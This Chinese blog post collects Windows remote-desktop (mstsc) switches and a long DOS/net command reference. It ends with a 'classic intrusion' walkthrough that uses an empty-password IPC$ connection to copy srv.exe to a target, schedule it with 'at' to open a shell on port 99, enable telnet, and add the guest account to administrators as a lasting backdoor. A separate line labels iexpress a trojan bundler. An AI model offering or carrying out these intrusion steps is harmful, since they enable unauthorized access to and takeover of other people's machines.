默认情况下一台服务器同时可以打开3个远程桌面，两个“虚桌面（mstsc命令打开）”和一个“实桌面（mstsc /console带参数打开）”，并且打开的窗口相互都看不见。如果想看到别的桌面连接情况可以打开任务管理器，查看用户连接，选中要查看的连接右键选择连接即可。
    远程桌面mstsc /console连接的是session 0，而mstsc是另外打开一个虚拟的session，这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的“实桌面”。很多时候需要用mstsc /console 打开远程桌面才能看到所有的应用程序窗口，否则只能使用其他远程工具连接才可见，比如VNC PcAnywhere等。
    问题1：服务器上超出最大连接数。
    我们除了重启服务器外，最好的方法就是使用/console（控制台方式mstsc /console /v:IP:终端端口）进行登录。比如mstsc /console /v:192.168.*.*:25000
    问题2：windows xp 升级到sp3后不能使用mstsc /console连接到控制台
    windows xp升级到sp3后，命令换成mstsc /admin即可实现Xp2中mstsc /console的功能。
    小提示：不管您使用的是微软哪个版本的操作系统，如果您忘记了mstsc 的详细参数，您可以在CMD下使用mstsc -help来查看具体的用法。

Microsoft Telnet Screen Control ，即“微软远程桌面控制”，操作比较简单
1：打开 windows + R 打开运行窗口，输入mstsc


2：输入要连接的ip




3：连接，输入用户名，密码

mstsc 和mstsc /admin分别远程连接服务器区别：连接身份不同、程序加载不同、执行操作不同。

一、连接身份不同

1、Mstsc远程连接服务器：Mstsc远程连接服务器的连接标识是普通用户。如果其他更高级的用户已登录，则无法连接。

2、Mstsc/Admin远程连接服务器：Mstsc/Admin远程连接服务器的连接标识为管理员用户，连接优先级最高。具有其他登录级别的用户将退出连接。

二、程序加载不同

1、mstsc远程连接服务器：mstsc远程连接服务器会把用户应加载的所有程序都新加载一次。

2、mstsc /admin远程连接服务器：mstsc /admin远程连接服务器如果之前已有用户登录，会直接接管用户已加载的所有程序，若没有用户登录，则会把用户应加载的所有程序都新加载一次。

三、执行操作不同

1、Mstsc远程连接服务器：Mstsc远程连接服务器没有在服务器上操作的权限，无法执行某些操作。

2、Mstsc/Admin远程连接服务器：Mstsc/Admin远程连接服务器具有最高的操作权限，可以执行服务器上的所有操作。

mstsc命令详解 

https://www.cnblogs.com/kim0zh/p/3412341.html




   1:  在xp sp2中用mstsc /console命令可以登录到远程桌面的控制台（和在电脑前以同一用户登录），xp升级到sp3后，不能这样用了。sp3中命令应该换成mstsc /admin。

   2:  xp sp3中mstsc的参数如下：

   3:  MSTSC [] [/v:] [/admin] [/f[ullscreen]] [/w: /h:] [/public] | [/span] [/edit "connection file"] [/migrate]

   4:  "connection file" -- 指定连接的 .rdp 文件的名称。

   5:  /v: -- 指定要连接的远程计算机。

   6:  /admin -- 将您连接到会话以管理服务器。

   7:  /f -- 以全屏模式启动远程桌面。

   8:  /w: -- 指定远程桌面窗口的宽度。

   9:  /h: -- 指定远程桌面窗口的高度。

  10:  /public -- 在公用模式下运行远程桌面。

  11:  /span -- 使远程桌面的宽度和高度与本地虚拟桌面相匹配，如有必要，扩展到多个显示器。若要扩展到多个显示器，所有显示器都必须具有相同的高度并垂直排列。

  12:  /edit -- 打开指定的 .rdp 连接文件进行编辑。

  13:  /migrate -- 将使用客户端连接管理器创建的旧连接文件迁移到新的 .rdp 连接文件。

  14:   

  15:  2003 sp2中的mstsc参数用法：MSTSC [] [/v:] [/console] [/f[ullscreen]] 

  16:  [/w: /h:] | /Edit"ConnectionFile" | /Migrate | /?-- 指定连接的 .rdp 文件的名称。

  17:  /v: -- 指定要连接到的终端服务器。

  18:  /console -- 连接到服务器的控制台会话。

  19:  /f -- 以全屏模式启动客户端。

  20:  /w: -- 指定远程桌面屏幕的宽度。

  21:  /h: -- 指定远程桌面屏幕的高度。

  22:  /edit -- 打开指定的 .rdp 文件来编辑。

  23:  /migrate -- 将客户端连接管理器创建的旧版连接文件迁移到新的 .rdp 连接文件。

  24:  /? -- 显示此用法消息。


 

 

 

DOS远程桌面连接命令 mstsc /v: 192.168.1.250 /console


   1:  cmd         运行      command

   2:  删除文件      rd      文件名/S

   3:  创建文件      MD      文件名 

   4:  1.      net user admin godmour /add 新建一个用户名为 admin 密码为 godmour 默认为user组成员

   5:  2.      net user admin /del 将用户名为admin的用户删除

   6:  3.      net user admin /active:no      将用户admin禁用

   7:  4.      net user admin /active:yes 将用户admin激活

   8:  5.      net user admin 查看拥护admin用户的情况

   9:  6.      net localgroup administratros admin /add 提升用户权限

  10:  7.      net view     [url=file://ip/]\\IP[/url] 查看远程主机共享资源

  11:  8.      net use          x:\\IP\sharename 远程影射本地盘符 Z （建立连接 net use [url=file://ip/IPC$%22password]\\IP\IPC$"password[/url]" /user:"name")

  12:  9.      net user admin godmour   把admin的密码修改成 godmour

  13:  10. net start  servername    启动 telnet      服务

  14:      net stop  servername    停止 telnet      服务

  15:  运行 输入cmd 回车在命令提示符下输入 

  16:  for %1 in (%windir%\system32\*.dll) do regsvr32.exe /s %1 

  17:  还原系统

  18:  tracert   61.144.56.101      查看路由是否正常工作

  19:  netstat命令

  20:  netstat [-r] [-s] [-n] [-a]。

  21:  当然，你也可以利用“netstat /?”命令来查看一下该命令的使用格式以及详细的参数说明

  22:  netstat参数含义如下

  23:     -r 显示本机路由表的内容

  24:     -s 显示每个协议的使用状态（包括TCP协议、UDP协议、IP协议）

  25:     -n 以数字表格形式显示地址和端口

  26:     -a 显示所有主机的端口号

  27:  运行Netstat -a命令将显示计算机上网时与外部之间的所有连接，计算机端口与外部的连接情况等；而Netstat 

  28:  -s命令则显示电脑网络连接协议的统计信息。这样你就可以看到当前你的电脑上网络在进行哪些连接，数据包发

  29:  送和接收的详细情况等等添加或删除程序 control appwiz.cpl 

  30:  管理工具           control admintools

  31:  attrib设置文件属性  ctty改变控制设备    defrag磁盘碎片整理      doskey 调用和建立DOS宏命令  

  32:  debug程序调试命令   emm386扩展内存管理  fc文件比较  fdisk   硬盘分区 

  33:  lh/loadhigh   将程序装入高端内存      move      移动文件，改目录名       more    分屏显示  

  34:  prompt          设置提示符              set   设置环境变量             smartdrv 设置磁盘加速器

  35:  setver       设置版本                subst 路径替换                 vol         显示指定的磁盘卷标号 

  36:  xcopy           拷贝目录和文件          mstsc XP自带远程               secpol.msc /s          本地安全策略

  37:  services.msc /s        服务                compmgmt.msc      计算机管理       jsjgl.msc

  38:  eventvwr.msc /s        事件查看器          odbcad32.exe      数据源 (ODBC)        perfmon.msc /s         性能

  39:  comexp.msc             组件服务            control userpasswords2         察看当前XP用户

  40:  gpedit.msc             组策略              regedit           注册表           dxdiag       DirecTX 诊断工具

  41:  gpedit.msc-----组策略                  winver---------检查Windows版本          wmimgmt.msc----打开windows管理体系结构(WMI)

  42:  wupdmgr--------windows更新程序         wscript--------windows脚本宿主设置      write----------写字板 

  43:  winmsd---------系统信息                wiaacmgr-------扫描仪和照相机向导       winchat--------XP自带局域网聊天 

  44:  mem.exe--------显示内存使用情况        Msconfig.exe---系统配置实用程序         mplayer2-------简易widnows media player 

  45:  mspaint--------画图板                  mplayer2-------媒体播放机               magnify--------放大镜实用程序 

  46:  mmc------------打开控制台              mobsync--------同步命令                 drwtsn32------ 系统医生 

  47:  devmgmt.msc--- 设备管理器              dfrg.msc-------磁盘碎片整理程序         diskmgmt.msc---磁盘管理实用程序 

  48:  dcomcnfg-------打开系统组件服务        ddeshare-------打开DDE共享设置          dvdplay--------DVD播放器 

  49:  net stop messenger---停止信使服务      net start messenger--开始信使服务       notepad--------打开记事本 

  50:  nslookup-------网络管理的工具向导      ntbackup-------系统备份和还原           narrator-------屏幕“讲述人” 

  51:  ntmsmgr.msc----移动存储管理器          ntmsoprq.msc-移动存储管理员操作请求 netstat -an----(TC)命令检查接口

  52:  syncapp--------创建一个公文包          sysedit--------系统配置编辑器           sigverif-------文件签名验证程序 

  53:  sndrec32-------录音机                  shrpubw--------创建共享文件夹           secpol.msc-----本地安全策略 

  54:  syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码 

  55:  services.msc---本地服务设置            Sndvol32-------音量控制程序             sfc.exe--------系统文件检查器 

  56:  sfc /scannow---windows文件保护         tsshutdn-------60秒倒计时关机命令       tourstart------xp简介（安装完成后出现的漫游xp程序） 

  57:  taskmgr--------任务管理器              eventvwr-------事件查看器               eudcedit-------造字程序 

  58:  explorer-------打开资源管理器          packager-------对象包装程序             perfmon.msc----计算机性能监测程序 

  59:  progman--------程序管理器              regedit.exe----注册表                   rsop.msc-------组策略结果集 

  60:  regedt32-------注册表编辑器            rononce -p ----15秒关机                 regsvr32 /u *.dll----停止dll文件运行 

  61:  regsvr32 /u zipfldr.dll------取消ZIP支持           cmd.exe--------CMD命令提示符 

  62:  chkdsk.exe-----Chkdsk磁盘检查          certmgr.msc----证书管理实用程序         calc-----------启动计算器

  63:  charmap--------启动字符映射表          cliconfg-------SQL SERVER 客户端网络实用程序       Clipbrd--------剪贴板查看器 

  64:  conf-----------启动netmeeting          compmgmt.msc---计算机管理               cleanmgr-------垃圾整理 

  65:  ciadv.msc------索引服务程序            osk------------打开屏幕键盘             odbcad32-------ODBC数据源管理器 

  66:  oobe/msoobe /a----检查XP是否激活       lusrmgr.msc----本机用户和组             logoff---------注销命令 

  67:  iexpress-------木马捆绑工具，系统自带        Nslookup-------IP地址侦测器       fsmgmt.msc-----共享文件夹管理器 

  68:  utilman--------辅助工具管理器          gpedit.msc-----组策略                   cleanmgr-------垃圾整理 

  69:  ciadv.msc------索引服务程序            odbcad32-------ODBC数据源管理器         oobe/msoobe /a----检查XP是否激活

  70:  lusrmgr.msc----本机用户和组            logoff---------注销命令                 iexpress-------木马捆绑工具，系统自带 

  71:  Nslookup-------IP地址侦测器            fsmgmt.msc-----共享文件夹管理器         utilman--------辅助工具管理器

  72:  DOS——Disk Operation System 磁盘操作系

  73:  C: 盘符       Path 路径      Filename      文件名       .ext 扩展名      Filespec 文件标识符

  74:  [ ]        方括号中的项目是可选项，用户可以根根据需要不输入这些内容

  75:  { }        大括号表示其中的项目必选一项 

  76:  |          竖线表示两侧的内容可取其一 

  77:  …         表示可重复项

  78:  *          表示一个字符串

  79:  ？         只代表一个字符

  80:  查找以字母y开头的所有文件，可以输入以下命令：dir y*.*；如果要查找所有扩展名为exe的文件，可以用dir .exe。？只

  81:  代表一个字符，例如我要查找第二个字母为s的所有文件，可以输入：DIR ?s*.*。

  82:  dir

  83:  [格式] dir [C:][path][filename][.ext][/o][/s][/p][/w][/a]

  84:  dir是DOS命令中最常用的一个

  85:  /p 显示信息满一屏时，暂停显示，按任意键后显示下一屏

  86:  /o 排序显示。o后面可以接不同意义的字母

  87:  /w 只显示文件名目录名，每行五个文件名。即宽行显示

  88:  /s 将目录及子目录的全部目录文件都显示

  89:  cd是英文change directory(改变目录）的缩写

  90:  [格式] cd [C:][path]      逐层退出（cd..）

  91:  copy在英文中是复制的意思

  92:  复制一个或一组文件到指定的磁盘或目录中      copy [C:][path][filename.ext] [C:][path]filename.ext

  93:  C:\purple目录的所有文件复制到软盘

  94:  C:\>copy purple A:\

  95:  ren是英文rename（重新命名）的简写，对指定磁盘、目录中的一个文件或一组文件更改名称

  96:  [格式] ren [C:][path]filename1[.ext] filename2[.ext]

  97:  [说明] 改名操作只限于某个文件某组文件的名称，它不会更改文件所在的目录。如果使用了通配符，则对一批文件进行更名。

  98:  type [功能] 在屏幕上显示文本文件内容命令      [格式] type [C:][path]filename.ext

  99:  type命令用来在屏幕上快速、简便地显示文本文件的内容，扩展名为TXT的文件是文本文件。如果用这个命令显示扩展名为EXE或COM等其它文件，输出的结果往往是一些乱七八糟的符号并伴有无规则的响铃声，有时甚至会出现死机现象。

 100:  format 磁盘格式化      [C:][path]format drive:[/S]

 101:  diskcopy，翻译成中文就是磁盘复制 复制出一个和原来磁盘内容一模一样的磁盘

 102:  [格式] diskcopy 源驱动器名 目的驱动器名

 103:  [说明] 它的主要用途就是用来备份。比如我们的电脑在刚买来时，会随机附带一些设备驱动程序磁盘，这些驱动程序在以后都有可能用到，为防止这些磁盘的损坏，一定要将它们都备份一套，这时，使用diskcopy命令是比较快捷和方便的

 104:  deltree 删除目录树 [格式] [C:][path]DELTREE [C1:][path1] [[C2:][path2] […]]

 105:  [说明] 这个命令将整个指定目录树全部消灭，而不管它是否是只读、隐藏与否。使用应特别小心。它是一个危险命令。

 106:  mem是memory的缩写[功能] 该命令用来查看你的计算机内存有多少，以及内存的使用情况 [格式] 直接键入mem命令

 107:  chkdsk是check disk的缩写。[功能] 用来检查你的磁盘的使用情况。[格式] chkdsk 磁盘名

 108:  [说明] 例如要检查A盘使用情况，就输入chkdsk A: ，检查c盘使用情况，就输入chkdsk C: ，如果直接输入chkdsk，就检

 109:  查当前磁盘的使用情况。

 110:  sys 传递系统文件命令。将DOS的两个隐含的系统IO.SYS和MSDOS.SYS传送到目标磁盘的特定位置上，并将COMMAND.COM文件复制过去。完成后，目标盘成为DOS的启动盘[格式] [C:][path]SYS [C1:][path] d2:

 111:  [说明] 由于这几个文件需要复制到特定位置上，所以用COPY命令完成的复制未必能够启动机器。能过SYS命令，DOS可以将目标盘已占据特定位置的文件移动，并将系统文件复制到相应位置上。参数C1:path用来指明系统文件所在目录。如不指明，则缺省为当前盘的当前目录。所以这个

 112:  命令一般要在源盘的根目录进行

 113:  pass      [功能] 设定DOS寻找.COM、.EXE、.BAT文件的所在目录 [格式] path=[[drive:]path[;…]]或path

 114:  [说明] 只打path没有参数时，只显示环境变量内容。有参数时，重新设置path变量。在没有指定path环境变量时，用户发出的命令，DOS首先判断其是否为内部命令，再查找当前目录中是否有主文件名是该命令的可执行文件，如果均不是，则显示信息“Bad command or filename”。

 115:  如果发出了指定路径的命令，则在指定径中依次查找，仍找不到则出现上述提示。

 116:  cls      清除显示器屏幕上的内容，使DOS提示符到屏幕左上角。 


 


   1:  常用的远程连接命令建立空连接  常用的远程连接命令建立空连接  

   2:   net use [url=file://ip/ipc$Content$nbsp]\\IP\ipc$Content$nbsp[/url];

   3:  "" /user:"" (一定要注意:这一行命令中包含了3个空格)  建立非空连接

   4:     net use [url=file://ip/ipc$Content$nbsp]\\IP\ipc$Content$nbsp[/url];

   5:  "用户名" /user:"密码" (同样有3个空格)    

   6:  映射默认共享     net use z: [url=file://ip/c$Content$nbsp]\\IP\c$Content$nbsp[/url];

   7:  "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘，其他盘类推)    

   8:  如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,

   9:  具体命令 net use z: [url=file://ip/c$]\\IP\c$[/url]    

  10:  删除一个ipc$连接   net use [url=file://ip/ipc$Content$/del]\\IP\ipc$Content$/del[/url]    

  11:  删除共享映射   net use c: /del 删除映射的c盘，其他盘类推   

  12:   net use * /del 删除全部,会有提示要求按y确认    

  13:   

  14:  经典入侵模式    

  15:  1.C:\>net use [url=file://127.0.0.1/IPC$Content$nbsp]\\127.0.0.1\IPC$Content$nbsp[/url];"" /user:"admintitrators"    

  16:  这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。  

  17:    2. C:\>copy srv.exe [url=file://127.0.0.1/admin$Content$nbsp]\\127.0.0.1\admin$Content$nbsp[/url];    先复制srv.exe上去，在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了)。   

  18:   3.C:\>net time [url=file://127.0.0.1/]\\127.0.0.1[/url]    查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。   

  19:   4.C:\>at [url=file://127.0.0.1/]\\127.0.0.1[/url]11:05 srv.exe    用at命令启动srv.exe吧(这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵!)   

  20:   5.C:\>net time [url=file://127.0.0.1/]\\127.0.0.1[/url]    再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。  

  21:    6.C:\>telnet 127.0.0.1 99    这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。    虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了  

  22:    7.C:\>copy ntlm.exe [url=file://127.0.0.1/admin$Content$nbsp]\\127.0.0.1\admin$Content$nbsp[/url];    用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。    

  23:  8.C:\WINNT\system32>ntlm    输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

  24:   9.Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)    为了以防万一,我们再把guest激活加到管理组    

  25:  10.C:\>net user guest /active:yes    将对方的Guest用户激活    

  26:  11.C:\>net user guest 1234    将Guest的密码改为1234,或者你要设定的密码    

  27:  12.C:\>net localgroup administrators guest /add   

  28:   将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机)    ipc$与空连接,139,445端口,默认共享的关系    以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)    ipc$与空连接    不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.    许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).    ipc$与139,445端口    ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.    ipc$与默认共享    默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)    ipc$连接失败的原因   

  29:   以下5个原因是比较常见的:    

  30:  1)你的系统不是NT或以上操作系统;   

  31:   2)对方没有打开ipc$默认共享    

  32:  3)对方未开启139或445端口(惑被防火墙屏蔽)   

  33:  4)你的命令输入有误(比如缺少了空格等)   

  34:   5)用户名或密码错误(空连接当然无所谓了)    

  35:  另外,你也可以根据返回的错误号分析原因:   

  36:   错误号5，拒绝访问 : 很可能你使用的用户不是管理员权限的，先提升权限;   

  37:   错误号51，Windows 无法找到网络路径 : 网络有问题;   

  38:   错误号53，找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);    

  39:  错误号67，找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;    

  40:  错误号1219，提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$，请删除再连。



 

 


 


分类: dos命令大全, mstsc命令

标签: dos命令大全, mstsc远程控制


好文要顶 关注我 收藏该文